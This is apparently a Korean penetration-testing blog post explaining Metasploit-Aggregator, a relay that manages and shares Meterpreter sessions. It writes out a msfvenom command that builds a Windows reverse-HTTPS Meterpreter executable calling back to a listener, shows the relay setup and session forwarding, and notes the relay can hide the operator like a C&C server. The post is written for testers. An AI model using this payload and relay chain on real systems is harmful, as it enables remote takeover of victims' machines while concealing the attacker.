Back

[METASPLOIT] Metasploit-Aggregator를 이용한 Meterpreter session 관리하기(feat Meterpreter 중계서버)

Metasploit과 Meterpreter는 굉장히 좋은 툴(외계인의 툴 중 하나..?)지만 간간히 불편한점도 존재합니다. 대표적으론 여러 사용자가 세션에 대해 공유할 수 없다는 점과 공격자의 Metasploit에 모든 세션을 담기에는 너무 많아지면 불편해지겠죠. 오늘은 이를 해결할 수 있는 Aggregator에 대한 이야기를 할까 합니다.

사실 이러한 문제를 해결하려고 찾았다기 보단.. 인지만 하고 있는 상태에서 Metasploit Plugin 디렉토리를 보다보니 Aggregator란 첨보는게 있어서 찾다가 이 포스팅이 시작되었네요. 그럼 시작해볼까요.

What is Aggregator?

Aggregator는 Meterpreter 세션에 대한 프록시 툴입니다. 찾다보니 알게되었는데, 올해 나온 기능이였네요.. 아무튼 이 plugin이 활동하는 위치를 보자면 Metasploit과 Meterpreter 사이에서 중계자 역할을 하게됩니다.

그림으로 표현하면 아래와 같습니다.

그리기 넘 귀찮..

Aggregator는 Metasploit과 여러 Meterpreter shell 사이에서 중계 역할을 수행하며 각각 Meterpreter shell의 세션은 Aggregator로 연결됩니다. Aggregator는 세션을 관리하는 기능을 담고 있고 공격자는 Metasploit을 통해 Aggregator로 연결하여 이 세션들을 사용합니다. 직접 Metasploit으로 세션에 연결하는게 아니기 때문에 상황에 따라 공격자의 Metasploit의 주소를 숨기는데도 사용될 수 있겠네요.

사용하기 전에 몇가지 개념을 알아두면 좋습니다.

cable metasploit의 Exploit handler와 유사한 기능입니다. Aggregator에서 Meterpreter에서 언제든지 접근할 수 있도록 Listen 상태로 Session의 연결을 기다립니다.

parked cable과 달리 연결 상태는 아니고 aggregator와 meterpreter과 최소한의 통신만을 유지하여 살아있는지 확인만 진행합니다. heartbeet과 같죠.

여러 개념들이 있지만 두가지는 꼭 알아두는게 좋을 것 같습니다.

다른 개념들은 아래 사이트에 내 “Metasploit Aggregator introduces a few new concepts” 부분에 잘 정리되어있습니다. 참고해주세요 https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/

Install Metasploit Aggregator

설치는 .. 매번 이야기하듯 아주 간단합니다. 심지어 gem으로 포팅되서 더더욱 편리하죠.

#> gem install metasploit-aggregator Successfully installed metasploit-aggregator-0.2.1 1 gem installed

또는 공식 github를 통해 다운로드 후 설치할 수 있습니다. 물론 어차피 gem이지만요..

#> git clone https://github.com/rapid7/metasploit-aggregator

Using Metasploit Aggregator

일단 gem으로 설치되어서 ruby 코드에서도 부를 수 있지만 command line 명령으로도 제공됩니다.

#> metasploit-aggregator WARN: Unresolved specs during Gem::Specification.reset: grpc (>= 0) rex-arch (>= 0) WARN: Clearing out unresolved specs. Please report a bug if this causes problems. 2017-08-17 21:38:34 +0900 Starting administration service on 127.0.0.1:2447

실행하면 해당 PC에서 기본적으로 2447 포트로 동작하게 됩니다. 이 과정에서 문제 발생하던게 있었느데, 여차저차하니 해결됬습니다. 라이브러리 의존성 문제! (심각한 문젠 아닌거 같아요 위에 WARN나는건)

HAHWUL > load aggregator [] Aggregator interaction has been enabled [] Successfully loaded plugin: aggregator

일단 실행에 앞서서 명령어 셋을 보면..

Aggregator Commands

Command                     Description
-------                     -----------
aggregator_addresses        List all remote ip addresses available for ingress
aggregator_cable_add        Setup remote https listener for sessions
aggregator_cable_remove     Stop remote listener for sessions
aggregator_cables           List all remote listeners for sessions
aggregator_connect          Connect to a running Aggregator instance ( host[:port] )
aggregator_default_forward  forward a unlisted/unhandled sessions to a specified listener
aggregator_disconnect       Disconnect from an active Aggregator instance
aggregator_save             Save connection details to an Aggregator instance
aggregator_session_forward  forward a session to a specified listener
aggregator_session_park     Park an existing session on the Aggregator instance
aggregator_sessions         List all remote sessions currently available from the

위에 개념들에 대해 이해되셨다면 한눈에 들어오겠네요. aggregator 로 연결을 해보면..

HAHWUL > aggregator_connect 127.0.0.1:2447 [*] Connecting to Aggregator instance at 127.0.0.1:2447… E0817 21:40:03.591233870 25993 uri_parser.c:60] bad uri.scheme: '' E0817 21:40:03.591334832 25993 uri_parser.c:66] ^ here E0817 21:40:03.591373079 25993 http_proxy.c:56] cannot parse value of ‘http_proxy’ env var

에러가 납니다. 환경 때문인건건지 잘 모르겠네요. github에 가이드 있는대로 ssh 터널링을 해봐도 동일합니다.

일단 rapid7쪽으로 문의는 넣어봤는데, 언제 답이올지 모르겠네요. https://github.com/rapid7/metasploit-aggregator/issues/10

그럼.. 직접 진행은 어려우니 일단 git에 작성된 내용으로 살펴보겠습니다.

아 먼저 aggregator는 자체적으로 암호화되지 않으니 꼭 SSH 터널링을 사용해줍시다.

localhost : 공격자 192.168.56.101 : aggregator 중계 서버

ssh [로컬IP:로컬포트]:[접근할IP:접근할포트] ssh 접근정보 ssh 4427:192.168.56.101:2447 user@192.168.56.101

※ 로컬은 포트만 적어도 크게 상관이 없죠. 이렇게 세팅한 경우 localhost:4427로 연결해서 aggregator를 사용하시면 됩니다.

HAHWUL > aggregator_connect localhost:4427

다시 git쪽 내용으로 와서..

부럽네요. connect가 잘 되다니..

msf > load aggregator [] Aggregator interaction has been enabled [] Successfully loaded plugin: aggregator msf > aggregator_connect 127.0.0.1:2447 [*] Connecting to Aggregator instance at 127.0.0.1:2447… msf >

로드가 완료되면 aggregator 사용이 가능합니다. cable 추가로 8443 포트로 cable을 추가합니다. ※ cable: metasploit의 Exploit handler와 유사한 기능입니다. 위에 제대로 안읽으신건 아니겠지?! ※ default_forward는 포워딩 방식을 지정합니다.

msf > aggregator_cable_add 192.168.1.10:8443 msf > aggregator_default_forward msf >

8443 포트로는 meterpreter session이 붙으면 aggregator에 의해 관리됩니다. git 내용에선 msfvenom으로 payload를 실행파일로 만들어서 테스트했네요.

#> msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe

launch-stageless.exe를 실행하면 192.168.1.10의 8443 포트로 meterpreter가 연결하려 할꺼고 연결된 순간 metasploit-aggregator에서 해당 세션을 관리하게 됩니다.

msf > [*] Meterpreter session 1 opened (127.0.0.1:53414 -> 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600

그래서 공격자 PC에서 aggregator_sessions로 보면..

msf > aggregator_sessions [] Sessions found: [] Remote ID: 1 [] Type: meterpreter windows [] Info: DESKTOP-KAO0P3O\user @ DESKTOP-NAME [] Tunnel: 192.168.1.10:8443 -> 192.168.1.11:53528 [] Via: exploit/multi/handler [] UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z [] MachineID: 1e2b16f37eab2324b9089cd93f16533b [] CheckIn: 3s ago [] Registered: Not Yet Implemented [] Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683 [] Session ID: 1 [*]

이렇게 포워딩된 세션을 볼 수 있죠. aggregator_session_forward 명령, 인자로 session 번호를 넘겨주면 해당 쉘을 가져올 수 있습니다. 가져오는 과정은 metasploit-aggregator 서버와 연결되며 공격자 pc에선 마치 meterpreter shell을 얻은 것 처럼 보이지만 실제론 중계 서버를 이용해서 포워딩 받는 상태가 됩니다.

msf > aggregator_session_forward 1 msf > [*] Meterpreter session 2 opened (127.0.0.1:53414 -> 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600

이런 과정들은 암호화되지 않기 때문에 rapid7측에선 ssh 터널링을 꼭 사용하라고 이야기하네요.

라이브러리 관련 정보는 ruby-doc쪽 보면 자세히 나와있으니 활용해서 개발해보시면 좋을 것 같네요 :)

Conclusion

aggregator는 여러명의 공격자(테스터)가 하나의 세션을 같이 사용하고, 중간에 관리해주는 서버(?)를 두기 위해 만든 기능이라고 봅니다. 다만 위에서 말씀드렸듯이 C&C 서버처럼 공격자 자신을 숨기고 Meterpreter와 통신하고 제어할 수 있기 때문에 좀 더 여러 형태의 공격이 가능할거라 생각합니다.

Reference

https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/ http://www.rubydoc.info/gems/metasploit-aggregator/0.1.3 https://github.com/rapid7/metasploit-aggregator

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900